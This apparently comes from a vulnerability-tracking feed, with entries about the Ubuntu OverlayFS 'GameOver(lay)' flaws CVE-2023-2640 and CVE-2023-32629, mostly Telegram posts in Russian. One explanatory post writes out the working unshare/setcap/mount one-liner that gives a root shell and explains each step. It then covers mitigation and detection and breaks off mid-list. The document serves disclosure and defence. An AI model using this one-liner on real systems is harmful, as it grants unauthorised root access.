CVE-2022-4908:\nSOP bypass in Chrome using Navigation API\nhttps://joaxcar.com/blog/2023/10/06/cve-2022-4908-sop-bypass-in-chrome-using-navigation-api\n\n3. CVE-2023-2640, CVE-2023-32629:\n\"GameOver(lay)\" Ubuntu Privilege Escalation\nhttps://github.com/g1vi/CVE-2023-2640-CVE-2023-32629", "creation_timestamp": "2024-08-16T08:32:36.000000Z"}, {"uuid": "6d737770-3fe8-417f-9944-4d54c54d0c3e", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2023-2640", "type": "published-proof-of-concept", "source": "https://t.me/Rootsec_2/1684", "content": "#exploit\n1. CVE-2023-32629:\nUbuntu Privilege Escalation bash one-liner\nhttps://github.com/ThrynSec/CVE-2023-32629-CVE-2023-2640---POC-Escalation\n\n2. Unpatched Powerful SSRF in Exchange OWA - Getting Response Through Attachments\nhttps://www.zerodayinitiative.com/blog/2023/11/1/unpatched-powerful-ssrf-in-exchange-owa-getting-response-through-attachments\n\n3. Container Vulnerability Exploits\nhttps://github.com/h4ckm310n/Container-Vulnerability-Exploit", "creation_timestamp": "2024-08-16T08:45:52.000000Z"}, {"uuid": "18817ead-e300-42fb-95f8-0f1bc7c0da4d", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2023-2640", "type": "seen", "source": "https://t.me/sysodmins/18938", "content": "\u0414\u0432\u0435 \u0443\u044f\u0437\u0432\u0438\u043c\u043e\u0441\u0442\u0438 \u0437\u0430\u0442\u0440\u0430\u0433\u0438\u0432\u0430\u044e\u0442 \u043e\u043a\u043e\u043b\u043e 40% \u043f\u043e\u043b\u044c\u0437\u043e\u0432\u0430\u0442\u0435\u043b\u0435\u0439 Ubuntu\n\nCVE-2023-2640 \u043f\u043e\u043b\u0443\u0447\u0438\u043b\u0430 7,8 \u0431\u0430\u043b\u043b\u0430 \u043f\u043e \u0448\u043a\u0430\u043b\u0435 CVSS v3. \u041e\u043d\u0430 \u0441\u0443\u0449\u0435\u0441\u0442\u0432\u0443\u0435\u0442 \u0438\u0437-\u0437\u0430 \u043d\u0435\u043a\u043e\u0440\u0440\u0435\u043a\u0442\u043d\u044b\u0445 \u043f\u0440\u043e\u0432\u0435\u0440\u043e\u043a \u043f\u0440\u0430\u0432 \u0432 \u044f\u0434\u0440\u0435 Linux. \u0421 \u043f\u043e\u043c\u043e\u0449\u044c\u044e \u044d\u0442\u043e\u0433\u043e \u0431\u0430\u0433\u0430 \u0443\u0441\u043b\u043e\u0432\u043d\u044b\u0439 \u0437\u043b\u043e\u0443\u043c\u044b\u0448\u043b\u0435\u043d\u043d\u0438\u043a \u043c\u043e\u0436\u0435\u0442 \u043f\u043e\u043b\u0443\u0447\u0438\u0442\u044c \u043f\u043e\u0432\u044b\u0448\u0435\u043d\u043d\u044b\u0435 \u043f\u0440\u0430\u0432\u0430 \u0432 \u041e\u0421. \n\nCVE-2023-32629 \u2014 \u043f\u0440\u043e\u0431\u043b\u0435\u043c\u0430 \u0441\u0440\u0435\u0434\u043d\u0435\u0439 \u0441\u0442\u0435\u043f\u0435\u043d\u0438 \u0440\u0438\u0441\u043a\u0430 (5,4 \u0431\u0430\u043b\u043b\u0430 \u043f\u043e CVSS v3). \u0417\u0430\u0442\u0440\u0430\u0433\u0438\u0432\u0430\u0435\u0442 \u043f\u043e\u0434\u0441\u0438\u0441\u0442\u0435\u043c\u0443 \u044f\u0434\u0440\u0430 Linux, \u043e\u0442\u0432\u0435\u0447\u0430\u044e\u0449\u0443\u044e \u0437\u0430 \u0443\u043f\u0440\u0430\u0432\u043b\u0435\u043d\u0438\u0435 \u043f\u0430\u043c\u044f\u0442\u044c\u044e, \u0438 \u043c\u043e\u0436\u0435\u0442 \u043f\u0440\u0438\u0432\u0435\u0441\u0442\u0438 \u043a use-after-free, \u043f\u043e\u0437\u0432\u043e\u043b\u044f\u044f \u0430\u0442\u0430\u043a\u0443\u044e\u0449\u0435\u043c\u0443 \u0432\u044b\u043f\u043e\u043b\u043d\u0438\u0442\u044c \u043f\u0440\u043e\u0438\u0437\u0432\u043e\u043b\u044c\u043d\u044b\u0439 \u043a\u043e\u0434. \n\n\u041e\u0431\u043d\u0430\u0440\u0443\u0436\u0438\u0442\u044c \u0443\u044f\u0437\u0432\u0438\u043c\u043e\u0441\u0442\u0438 \u043f\u043e\u043c\u043e\u0433\u043b\u0438 \u043e\u0441\u043e\u0431\u0435\u043d\u043d\u043e\u0441\u0442\u0438 \u0438\u043c\u043f\u043b\u0435\u043c\u0435\u043d\u0442\u0430\u0446\u0438\u0438 \u043c\u043e\u0434\u0443\u043b\u044f OverlayFS \u0432 \u044f\u0434\u0440\u0435 Linux. OverlayFS - \u0440\u0435\u0430\u043b\u0438\u0437\u0430\u0446\u0438\u044f \u0444\u0430\u0439\u043b\u043e\u0432\u043e\u0439 \u0441\u0438\u0441\u0442\u0435\u043c\u044b \u0441 \u043e\u0431\u044a\u0435\u0434\u0438\u043d\u0451\u043d\u043d\u044b\u043c \u043c\u043e\u043d\u0442\u0438\u0440\u043e\u0432\u0430\u043d\u0438\u0435\u043c, \u043e\u043d\u0430, \u043a\u0441\u0442\u0430\u0442\u0438, \u0432 \u043f\u0440\u043e\u0448\u043b\u043e\u043c \u0443\u0436\u0435 \u0432\u044b\u0437\u044b\u0432\u0430\u043b\u0430 \u0438\u043d\u0442\u0435\u0440\u0435\u0441 \u043a\u0438\u0431\u0435\u0440\u043f\u0440\u0435\u0441\u0442\u0443\u043f\u043d\u0438\u043a\u043e\u0432. \u041c\u043e\u0434\u0443\u043b\u044c OverlayFS \u0442\u0430\u043a\u0436\u0435 \u0438\u0441\u043f\u043e\u043b\u044c\u0437\u0443\u0435\u0442\u0441\u044f \u0432 Ubuntu \u0438 \u0434\u043e 2019 \u0433\u043e\u0434\u0430 \u043e\u043d \u0444\u0443\u043d\u043a\u0446\u0438\u043e\u043d\u0438\u0440\u043e\u0432\u0430\u043b \u0432 \u044d\u0442\u043e\u043c \u0434\u0438\u0441\u0442\u0440\u0438\u0431\u0443\u0442\u0438\u0432\u0435 \u0431\u0435\u0437 \u0431\u0430\u0433\u043e\u0432. \u041e\u0434\u043d\u0430\u043a\u043e \u0432 2019 \u0438 2022 \u0433\u043e\u0434\u0430\u0445 \u0440\u0430\u0437\u0440\u0430\u0431\u043e\u0442\u0447\u0438\u043a\u0438 \u0432\u043d\u0435\u0441\u043b\u0438 \u0440\u044f\u0434 \u0438\u0437\u043c\u0435\u043d\u0435\u043d\u0438\u0439, \u043f\u0440\u043e\u0442\u0438\u0432\u043e\u0440\u0435\u0447\u0430\u0449\u0438\u0445 \u0441\u043e\u0431\u0441\u0442\u0432\u0435\u043d\u043d\u043e\u0439 \u0438\u043c\u043f\u043b\u0435\u043c\u0435\u043d\u0442\u0430\u0446\u0438\u0438 \u043c\u043e\u0434\u0443\u043b\u044f \u0432 Ubuntu.\n\n\u0418\u043c\u0435\u043d\u043d\u043e \u044d\u0442\u0438 \u043a\u043e\u043d\u0444\u043b\u0438\u043a\u0442\u044b \u043f\u0440\u0438\u0432\u0435\u043b\u0438 \u043a \u043f\u043e\u044f\u0432\u043b\u0435\u043d\u0438\u044e \u0434\u0432\u0443\u0445 \u0443\u044f\u0437\u0432\u0438\u043c\u043e\u0441\u0442\u0435\u0439. \u041a\u043e\u0434 \u0434\u0435\u043c\u043e\u043d\u0441\u0442\u0440\u0430\u0446\u0438\u043e\u043d\u043d\u044b\u0445 \u044d\u043a\u0441\u043f\u043b\u043e\u0439\u0442\u043e\u0432 \u0443\u0436\u0435 \u0434\u043e\u0441\u0442\u0443\u043f\u0435\u043d \u0432\u0441\u0435\u043c \u0436\u0435\u043b\u0430\u044e\u0449\u0438\u043c, \u043f\u043e\u044d\u0442\u043e\u043c\u0443 \u0434\u043e \u044d\u043a\u0441\u043f\u043b\u0443\u0430\u0442\u0430\u0446\u0438\u0438 \u0432 \u0440\u0435\u0430\u043b\u044c\u043d\u044b\u0445 \u043a\u0438\u0431\u0435\u0440\u0430\u0442\u0430\u043a\u0430\u0445 - \u0440\u0443\u043a\u043e\u0439 \u043f\u043e\u0434\u0430\u0442\u044c. \n\nUbuntu \u0443\u0436\u0435 \u043f\u043e\u0434\u0433\u043e\u0442\u043e\u0432\u0438\u043b\u0438 \u043f\u0430\u0442\u0447\u0438: https://ubuntu.com/security/notices/USN-6250-1\n\n\u0422\u0438\u043f\u0438\u0447\u043d\u044b\u0439 \ud83e\udd78 \u0421\u0438\u0441\u0430\u0434\u043c\u0438\u043d", "creation_timestamp": "2023-07-27T15:32:19.000000Z"}, {"uuid": "fb62f1fa-18aa-44ca-8063-94923a113f7d", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2023-2640", "type": "seen", "source": "https://t.me/purpleshift/110", "content": "\u0427\u0442\u043e\u0431\u044b \u0438\u0437\u0431\u0435\u0436\u0430\u0442\u044c \u0440\u0430\u0437\u0434\u0430\u0447\u0438 \u0440\u0443\u0442\u043e\u0432\u043e\u0433\u043e \u0434\u043e\u0441\u0442\u0443\u043f\u0430 \u043a\u043e\u043c\u0443 \u043f\u043e\u043f\u0430\u043b\u043e, \u0432 \u043e\u043f\u0435\u0440\u0430\u0446\u0438\u043e\u043d\u043a\u0435 Linux \u043f\u0440\u0438\u0432\u0438\u043b\u0435\u0433\u0438\u0438 \u0441\u0443\u043f\u0435\u0440\u043f\u043e\u043b\u044c\u0437\u043e\u0432\u0430\u0442\u0435\u043b\u044f \u0440\u0430\u0437\u0434\u0435\u043b\u044f\u044e\u0442\u0441\u044f \u043d\u0430 \u043e\u0442\u0434\u0435\u043b\u044c\u043d\u044b\u0435 \u0435\u0434\u0438\u043d\u0438\u0446\u044b, \u043a\u043e\u0442\u043e\u0440\u044b\u0435 \u043d\u0430\u0437\u044b\u0432\u0430\u044e\u0442 \u00ab\u0432\u043e\u0437\u043c\u043e\u0436\u043d\u043e\u0441\u0442\u044f\u043c\u0438\u00bb (capabilities). \u0422\u0430\u043a\u0438\u0435 root-\u043f\u0440\u0430\u0432\u0430 \u0434\u0430\u044e\u0442 \u0438\u0441\u043f\u043e\u043b\u043d\u044f\u0435\u043c\u044b\u043c \u0444\u0430\u0439\u043b\u0430\u043c \u043e\u0433\u0440\u0430\u043d\u0438\u0447\u0435\u043d\u043d\u044b\u0435 \u0440\u0430\u0437\u0440\u0435\u0448\u0435\u043d\u0438\u044f, \u0434\u0430\u0436\u0435 \u0435\u0441\u043b\u0438 \u0444\u0430\u0439\u043b \u0438\u0441\u043f\u043e\u043b\u043d\u044f\u0435\u0442\u0441\u044f \u043a\u0430\u043a root. \n\n\u041e\u0431\u044b\u0447\u043d\u043e capabilities \u043e\u0433\u0440\u0430\u043d\u0438\u0447\u0435\u043d\u044b \u043f\u043e \u0443\u043c\u043e\u043b\u0447\u0430\u043d\u0438\u044e: \u0435\u0441\u043b\u0438 \u0438\u0445 \u0443\u0441\u0442\u0430\u043d\u0430\u0432\u043b\u0438\u0432\u0430\u0435\u0442 \u043d\u0435\u043f\u0440\u0438\u0432\u0438\u043b\u0435\u0433\u0438\u0440\u043e\u0432\u0430\u043d\u043d\u044b\u0439 \u043f\u043e\u043b\u044c\u0437\u043e\u0432\u0430\u0442\u0435\u043b\u044c, \u0442\u0430\u043a\u0438\u0435 \u043f\u0440\u0430\u0432\u0430 \u0441\u0432\u044f\u0437\u044b\u0432\u0430\u044e\u0442\u0441\u044f \u0441 \u043f\u043e\u043b\u044c\u0437\u043e\u0432\u0430\u0442\u0435\u043b\u044c\u0441\u043a\u0438\u043c \u043f\u0440\u043e\u0441\u0442\u0440\u0430\u043d\u0441\u0442\u0432\u043e\u043c \u0438\u043c\u0451\u043d (namespace) \u2013 \u0438 \u043d\u0435 \u043c\u043e\u0433\u0443\u0442 \u043f\u0440\u0438\u043c\u0435\u043d\u044f\u0442\u044c\u0441\u044f \u0437\u0430 \u043f\u0440\u0435\u0434\u0435\u043b\u0430\u043c\u0438 \u044d\u0442\u043e\u0433\u043e namespace. \n\n\u041e\u0434\u043d\u0430\u043a\u043e \u044d\u043a\u0441\u043f\u043b\u043e\u0438\u0442 Game Over(lay) \u0438\u0441\u043f\u043e\u043b\u044c\u0437\u0443\u0435\u0442 \u0434\u0432\u0435 \u0443\u044f\u0437\u0432\u0438\u043c\u043e\u0441\u0442\u0438 \u0432 \u0441\u0438\u0441\u0442\u0435\u043c\u0435 OverlayFS (CVE-2023-2640 \u0438 CVE-2023-32629), \u0447\u0442\u043e\u0431\u044b \u043e\u0431\u043e\u0439\u0442\u0438 \u044d\u0442\u043e \u043e\u0433\u0440\u0430\u043d\u0438\u0447\u0435\u043d\u0438\u0435.  \u042d\u043a\u0441\u043f\u043b\u043e\u0438\u0442 \u0437\u0430\u0441\u0442\u0430\u0432\u043b\u044f\u0435\u0442 \u0441\u0438\u0441\u0442\u0435\u043c\u0443 \u0441\u043a\u043e\u043f\u0438\u0440\u043e\u0432\u0430\u0442\u044c \u0444\u0430\u0439\u043b \u0441 \u043e\u0433\u0440\u0430\u043d\u0438\u0447\u0435\u043d\u043d\u044b\u043c\u0438 \u043f\u0440\u0430\u0432\u0430\u043c\u0438 \u0432 \u0434\u0440\u0443\u0433\u043e\u0435 \u043c\u0435\u0441\u0442\u043e \u2013 \u0433\u0434\u0435 \u043f\u0440\u0430\u0432\u0430 \u043d\u0435 \u043e\u0433\u0440\u0430\u043d\u0438\u0447\u0435\u043d\u044b. \u041f\u043e\u0441\u043b\u0435 \u044d\u0442\u043e\u0433\u043e \u043f\u043e\u043b\u044c\u0437\u043e\u0432\u0430\u0442\u0435\u043b\u044c \u0431\u0435\u0437 \u043f\u0440\u0438\u0432\u0438\u043b\u0435\u0433\u0438\u0439 \u043c\u043e\u0436\u0435\u0442 \u0432\u044b\u043f\u043e\u043b\u043d\u0438\u0442\u044c \u0442\u0430\u043a\u043e\u0439 \u0444\u0430\u0439\u043b \u0441 \u0440\u0443\u0442\u043e\u0432\u044b\u043c\u0438 \u043f\u0440\u0430\u0432\u0430\u043c\u0438.\n\n\u041a\u0430\u043a \u0443\u0441\u0442\u0440\u043e\u0435\u043d\u0430 \u0430\u0442\u0430\u043a\u0430: \n\nOverlayFS \u2013 \u044d\u0442\u043e \u043e\u0431\u044a\u0435\u0434\u0438\u043d\u0435\u043d\u043d\u0430\u044f \u0444\u0430\u0439\u043b\u043e\u0432\u0430\u044f \u0441\u0438\u0441\u0442\u0435\u043c\u0430, \u043a\u043e\u0442\u043e\u0440\u0430\u044f \u0434\u0430\u0451\u0442 \u043f\u043e\u043b\u044c\u0437\u043e\u0432\u0430\u0442\u0435\u043b\u044e \u043e\u0431\u0449\u0435\u0435 \u043f\u0440\u0435\u0434\u0441\u0442\u0430\u0432\u043b\u0435\u043d\u0438\u0435 \u0440\u0430\u0437\u043d\u044b\u0445 \u043a\u0430\u0442\u0430\u043b\u043e\u0433\u043e\u0432 \u0432 \u0432\u0438\u0434\u0435 \u00ab\u0441\u043b\u043e\u0435\u0432\u00bb. \u042d\u0442\u043e \u043f\u043e\u0437\u0432\u043e\u043b\u044f\u0435\u0442 \u043e\u0431\u043c\u0435\u043d\u0438\u0432\u0430\u0442\u044c\u0441\u044f \u0434\u0430\u043d\u043d\u044b\u043c\u0438 \u0438 \u043c\u043e\u0434\u0438\u0444\u0438\u0446\u0438\u0440\u043e\u0432\u0430\u0442\u044c \u0438\u0445, \u043d\u0435 \u0438\u0437\u043c\u0435\u043d\u044f\u044f \u043e\u0440\u0438\u0433\u0438\u043d\u0430\u043b\u044c\u043d\u044b\u0439 \u043a\u043e\u043d\u0442\u0435\u043d\u0442. \n\n\u0421\u0438\u0441\u0442\u0435\u043c\u0430 \u0443\u0441\u0442\u0440\u043e\u0435\u043d\u0430 \u0442\u0430\u043a:\n\u2013 \u043d\u0438\u0436\u043d\u0438\u0439 \u0441\u043b\u043e\u0439 (lowedir): \u043c\u043e\u043d\u0442\u0438\u0440\u0443\u0435\u0442\u0441\u044f \u0442\u043e\u043b\u044c\u043a\u043e \u0434\u043b\u044f \u0447\u0442\u0435\u043d\u0438\u044f,\n\u2013 \u0432\u0435\u0440\u0445\u043d\u0438\u0439 \u0441\u043b\u043e\u0439 (upperdir): \u043f\u043e\u0437\u0432\u043e\u043b\u044f\u0435\u0442 \u0437\u0430\u043f\u0438\u0441\u044b\u0432\u0430\u0442\u044c \u043c\u043e\u0434\u0438\u0444\u0438\u043a\u0430\u0446\u0438\u0438,\n\u2013 \u0440\u0430\u0431\u043e\u0447\u0438\u0439 \u0441\u043b\u043e\u0439 (workdir): \u0434\u043b\u044f \u0443\u043f\u0440\u0430\u0432\u043b\u0435\u043d\u0438\u044f \u0440\u0430\u0431\u043e\u0447\u0438\u043c \u043a\u0430\u0442\u0430\u043b\u043e\u0433\u043e\u043c \u043a\u043e\u043d\u0442\u0435\u0439\u043d\u0435\u0440\u0438\u0437\u043e\u0432\u0430\u043d\u043d\u044b\u0445 \u043f\u0440\u043e\u0446\u0435\u0441\u0441\u043e\u0432,\n\u2013 \u043e\u0431\u044a\u0435\u0434\u0438\u043d\u0435\u043d\u043d\u044b\u0439 \u0441\u043b\u043e\u0439 (merged): \u0434\u043e\u0441\u0442\u0443\u043f\u0435\u043d \u043f\u043e\u043b\u044c\u0437\u043e\u0432\u0430\u0442\u0435\u043b\u044e \u043a\u0430\u043a \u043e\u0431\u044a\u0435\u0434\u0438\u043d\u0435\u043d\u043d\u043e\u0435 \u043f\u0440\u0435\u0434\u0441\u0442\u0430\u0432\u043b\u0435\u043d\u0438\u0435 \u0444\u0430\u0439\u043b\u043e\u0432\u043e\u0439 \u0441\u0438\u0441\u0442\u0435\u043c\u044b.\n\n\u041e\u0440\u0438\u0433\u0438\u043d\u0430\u043b\u044c\u043d\u044b\u0435 \u0444\u0430\u0439\u043b\u044b \u0445\u0440\u0430\u043d\u044f\u0442\u0441\u044f \u0432 \u043d\u0438\u0436\u043d\u0435\u043c \u0441\u043b\u043e\u0435, \u0442\u043e\u043b\u044c\u043a\u043e \u043d\u0430 \u0447\u0442\u0435\u043d\u0438\u0435. \u041f\u0440\u0438 \u043c\u043e\u0434\u0438\u0444\u0438\u043a\u0430\u0446\u0438\u0438 \u0444\u0430\u0439\u043b\u0430 \u0438\u043b\u0438 \u0435\u0433\u043e \u043c\u0435\u0442\u0430\u0434\u0430\u043d\u043d\u044b\u0445 \u0430\u043a\u0442\u0438\u0432\u0438\u0440\u0443\u0435\u0442\u0441\u044f \u043c\u0435\u0445\u0430\u043d\u0438\u0437\u043c Copy-on-Write (CoW), \u043a\u043e\u0442\u043e\u0440\u044b\u0439 \u043a\u043e\u043f\u0438\u0440\u0443\u0435\u0442 \u0444\u0430\u0439\u043b \u043d\u0430 \u0432\u0435\u0440\u0445\u043d\u0438\u0439 \u0441\u043b\u043e\u0439, \u043e\u0441\u0442\u0430\u0432\u043b\u044f\u044f \u043e\u0440\u0438\u0433\u0438\u043d\u0430\u043b \u043d\u0430 \u043d\u0438\u0436\u043d\u0435\u043c. \n\n\u0412 \u043d\u0435\u043a\u043e\u0442\u043e\u0440\u044b\u0445 \u0432\u0435\u0440\u0441\u0438\u044f\u0445 Ubuntu \u0441\u0438\u0441\u0442\u0435\u043c\u0430 OverlayFS \u043d\u0435 \u043f\u0440\u043e\u0432\u043e\u0434\u0438\u0442 \u0432\u0430\u043b\u0438\u0434\u0430\u0446\u0438\u044e \u043f\u0440\u0438 \u043a\u043e\u043f\u0438\u0440\u043e\u0432\u0430\u043d\u0438\u0438 \u0444\u0430\u0439\u043b\u043e\u0432 \u043c\u0435\u0436\u0434\u0443 \u0441\u043b\u043e\u044f\u043c\u0438.  \u042d\u0442\u043e \u043f\u043e\u0437\u0432\u043e\u043b\u044f\u0435\u0442 \u0437\u0430\u043c\u0435\u043d\u0438\u0442\u044c \u043e\u0433\u0440\u0430\u043d\u0438\u0447\u0435\u043d\u043d\u044b\u0435 root-\u043f\u0440\u0430\u0432\u0430 \u043d\u0430 \u043d\u0435\u043e\u0433\u0440\u0430\u043d\u0438\u0447\u0435\u043d\u043d\u044b\u0435 \u043e\u0434\u043d\u043e\u0439 \u0441\u0442\u0440\u043e\u0447\u043a\u043e\u0439 \u043a\u043e\u043c\u0430\u043d\u0434:  \nunshare -rm sh -c \"mkdir l u w m && cp /u*/b*/p*3 l/; setcap cap_setuid+eip l/python3;mount -t overlay overlay -o rw,lowerdir=l,upperdir=u,workdir=w m && touch m/*; u/python3 -c 'import os;os.setuid(0);os.system(\\\"bash\\\")'\";rm -rf l u w m\n\n\u0420\u0435\u0437\u0443\u043b\u044c\u0442\u0430\u0442 \u0432\u044b\u043f\u043e\u043b\u043d\u0435\u043d\u0438\u044f \u043c\u043e\u0436\u043d\u043e \u0443\u0432\u0438\u0434\u0435\u0442\u044c \u043d\u0430 \u0441\u043a\u0440\u0438\u043d\u0448\u043e\u0442\u0435 \u0432\u044b\u0448\u0435. \u0420\u0430\u0437\u0431\u0435\u0440\u0451\u043c \u0430\u0442\u0430\u043a\u0443 \u043f\u043e \u0448\u0430\u0433\u0430\u043c:\n\nunshare -rm \u0441\u043e\u0437\u0434\u0430\u0451\u0442 \u0438 \u043c\u043e\u043d\u0442\u0438\u0440\u0443\u0435\u0442 \u043d\u043e\u0432\u043e\u0435 \u043f\u0440\u043e\u0441\u0442\u0440\u0430\u043d\u0441\u0442\u0432\u043e \u0438\u043c\u0451\u043d (namespace) \u043f\u043e\u043b\u044c\u0437\u043e\u0432\u0430\u0442\u0435\u043b\u044f, \u043a\u043e\u0442\u043e\u0440\u043e\u043c\u0443 \u0431\u0443\u0434\u0443\u0442 \u043f\u0440\u0435\u0434\u043e\u0441\u0442\u0430\u0432\u043b\u0435\u043d\u044b \u0440\u0443\u0442\u043e\u0432\u044b\u0435 \u043f\u0440\u0430\u0432\u0430,\n\nmkdir \u0441\u043e\u0437\u0434\u0430\u0451\u0442 \u0447\u0435\u0442\u044b\u0440\u0435 \u043a\u0430\u0442\u0430\u043b\u043e\u0433\u0430 (l, u, w, m) \u0434\u043b\u044f \u00ab\u043b\u043e\u0432\u0443\u0448\u043a\u0438\u00bb OverlayFS.\n\ncp \u043a\u043e\u043f\u0438\u0440\u0443\u0435\u0442 \u0431\u0438\u043d\u0430\u0440\u043d\u044b\u0439 \u0444\u0430\u0439\u043b python3 \u0432 \u043a\u0430\u0442\u0430\u043b\u043e\u0433 l, \u043d\u0438\u0436\u043d\u0438\u0439 \u0443\u0440\u043e\u0432\u0435\u043d\u044c (\u0442\u043e\u043b\u044c\u043a\u043e \u0447\u0442\u0435\u043d\u0438\u0435). \u041f\u0443\u0442\u044c /u*/b*/p*3 \u043e\u0431\u0444\u0443\u0441\u0446\u0438\u0440\u0443\u0435\u0442 \u0440\u0435\u0430\u043b\u044c\u043d\u044b\u0439 \u043f\u0443\u0442\u044c /usr/bin/python3.\n\nsetcap cap_setuid+eip \u043d\u0430\u0437\u043d\u0430\u0447\u0430\u0435\u0442 \u0444\u0430\u0439\u043b\u0443 \u043e\u0433\u0440\u0430\u043d\u0438\u0447\u0435\u043d\u043d\u044b\u0435 \u0440\u0443\u0442\u043e\u0432\u044b\u0435 \u043f\u0440\u0430\u0432\u0430 (capabilities), \u043f\u043e\u0437\u0432\u043e\u043b\u044f\u044f \u0435\u043c\u0443 \u0432\u044b\u0437\u043e\u0432 setuid(0).  \u042d\u0442\u0430 \u0432\u043e\u0437\u043c\u043e\u0436\u043d\u043e\u0441\u0442\u044c \u0440\u0430\u0431\u043e\u0442\u0430\u0435\u0442 \u0442\u043e\u043b\u044c\u043a\u043e \u0432\u043d\u0443\u0442\u0440\u0438 \u043f\u043e\u043b\u044c\u0437\u043e\u0432\u0430\u0442\u0435\u043b\u044c\u0441\u043a\u043e\u0433\u043e namespace.  \n\nmount \u0441\u043e\u0437\u0434\u0430\u0451\u0442 OverlayFS \u0441 \u043a\u0430\u0442\u0430\u043b\u043e\u0433\u0430\u043c\u0438 l (\u043d\u0438\u0436\u043d\u0438\u0439 \u0441\u043b\u043e\u0439), u (\u0432\u0435\u0440\u0445\u043d\u0438\u0439 \u0441\u043b\u043e\u0439), w (\u0440\u0430\u0431\u043e\u0447\u0438\u0439 \u0441\u043b\u043e\u0439) \u0438 m (\u043e\u0431\u044a\u0435\u0434\u0438\u043d\u0435\u043d\u043d\u044b\u0439 \u0441\u043b\u043e\u0439). \u0412 \u043d\u0438\u0436\u043d\u0435\u043c \u0441\u043b\u043e\u0435 \u043b\u0435\u0436\u0438\u0442 python3 (\u0441 \u043e\u0433\u0440\u0430\u043d\u0438\u0447\u0435\u043d\u043d\u044b\u043c\u0438 \u043f\u0440\u0430\u0432\u0430\u043c\u0438).\n\ntouch \u043c\u043e\u0434\u0438\u0444\u0438\u0446\u0438\u0440\u0443\u0435\u0442 \u043c\u0435\u0442\u0430\u0434\u0430\u043d\u043d\u044b\u0435 \u0444\u0430\u0439\u043b\u0430 \u0447\u0435\u0440\u0435\u0437 \u043a\u0430\u0442\u0430\u043b\u043e\u0433 m, \u0430\u043a\u0442\u0438\u0432\u0438\u0440\u0443\u044f Copy-on-Write. \u0412 \u0443\u044f\u0437\u0432\u0438\u043c\u044b\u0445 \u0432\u0435\u0440\u0441\u0438\u044f\u0445 Ubuntu \u044d\u0442\u043e \u043f\u0440\u0438\u0432\u043e\u0434\u0438\u0442 \u043a \u043a\u043e\u043f\u0438\u0440\u043e\u0432\u0430\u043d\u0438\u044e \u0444\u0430\u0439\u043b\u0430 python3 \u0432 \u043a\u0430\u0442\u0430\u043b\u043e\u0433 u, \u0433\u0434\u0435 \u0443 \u0431\u0438\u043d\u0430\u0440\u043d\u0438\u043a\u0430 \u0431\u0443\u0434\u0443\u0442 \u043d\u0435\u043e\u0433\u0440\u0430\u043d\u0438\u0447\u0435\u043d\u043d\u044b\u0435 \u043f\u0440\u0430\u0432\u0430 (\u0437\u0430 \u043f\u0440\u0435\u0434\u0435\u043b\u0430\u043c\u0438 namespace).   \n\n\u0422\u0435\u043f\u0435\u0440\u044c \u0444\u0430\u0439\u043b python3  \u043c\u043e\u0436\u043d\u043e \u0437\u0430\u043f\u0443\u0441\u0442\u0438\u0442\u044c \u0434\u043b\u044f \u043f\u043e\u0432\u044b\u0448\u0435\u043d\u0438\u044f \u043f\u0440\u0438\u0432\u0438\u043b\u0435\u0433\u0438\u0439 \u0447\u0435\u0440\u0435\u0437  os.setuid(0) \u0438 \u0441\u043e\u0437\u0434\u0430\u0442\u044c \u0440\u0443\u0442\u043e\u0432\u044b\u0439 shell, \u0438\u0441\u043f\u043e\u043b\u044c\u0437\u0443\u044f os.system(\"bash\").\n \n\u041f\u043e\u0441\u043b\u0435\u0434\u043d\u044f\u044f \u043a\u043e\u043c\u0430\u043d\u0434\u0430 rm \u0437\u0430\u0447\u0438\u0449\u0430\u0435\u0442 \u043a\u0430\u0442\u0430\u043b\u043e\u0433\u0438 \u00ab\u043b\u043e\u0432\u0443\u0448\u043a\u0438\u00bb.\n\n\u041a\u0430\u043a \u0438\u0437\u0431\u0435\u0436\u0430\u0442\u044c \u0430\u0442\u0430\u043a\u0438:\n\n\u0423\u044f\u0437\u0432\u0438\u043c\u043e\u0441\u0442\u044f\u043c \u043f\u043e\u0434\u0432\u0435\u0440\u0436\u0435\u043d\u044b \u0432\u0435\u0440\u0441\u0438\u0438 \u044f\u0434\u0440\u0430 \u043e\u0442 v5.4 \u0434\u043e v6.3. \u0418\u043d\u0444\u043e\u0440\u043c\u0430\u0446\u0438\u044e \u043f\u043e \u043e\u0431\u043d\u043e\u0432\u043b\u0435\u043d\u0438\u044f\u043c \u0441\u043c\u043e\u0442\u0440\u0438\u0442\u0435 \u0437\u0434\u0435\u0441\u044c: CVE-2023-2640 \u0438 CVE-2023-32629.\n\n\u0422\u0430\u043a\u0436\u0435 \u0440\u0435\u043a\u043e\u043c\u0435\u043d\u0434\u0443\u0435\u0442\u0441\u044f \u043e\u0433\u0440\u0430\u043d\u0438\u0447\u0438\u0442\u044c \u0432\u043e\u0437\u043c\u043e\u0436\u043d\u043e\u0441\u0442\u044c \u0441\u043e\u0437\u0434\u0430\u043d\u0438\u044f namespace \u0434\u043b\u044f \u043d\u0435\u043f\u0440\u0438\u0432\u0438\u043b\u0435\u0433\u0438\u0440\u043e\u0432\u0430\u043d\u043d\u044b\u0445 \u043f\u043e\u043b\u044c\u0437\u043e\u0432\u0430\u0442\u0435\u043b\u0435\u0439: \necho kernel.unprivileged_userns_clone=0 | sudo tee /etc/sysctl.d/99-disable-unpriv-userns.conf\n\n\u041a\u0430\u043a \u0434\u0435\u0442\u0435\u043a\u0442\u0438\u0440\u043e\u0432\u0430\u0442\u044c \u0430\u0442\u0430\u043a\u0443:\n\n\u2013 \u041e\u0442\u0441\u043b\u0435\u0436\u0438\u0432\u0430\u0439\u0442\u0435 \u043d\u0435\u0441\u0442\u0430\u043d\u0434\u0430\u0440\u0442\u043d\u043e\u0435 \u0438\u0441\u043f\u043e\u043b\u044c\u0437\u043e\u0432\u0430\u043d\u0438\u0435 unshare, \u043e\u0441\u043e\u0431\u0435\u043d\u043d\u043e \u0441 \u0444\u043b\u0430\u0433\u0430\u043c\u0438 namespace.\n\u2013 \u0412\u044b\u044f\u0432\u043b\u044f\u0439\u0442\u0435 shell-\u043f\u0440\u043e\u0446\u0435\u0441\u0441\u044b \u0441 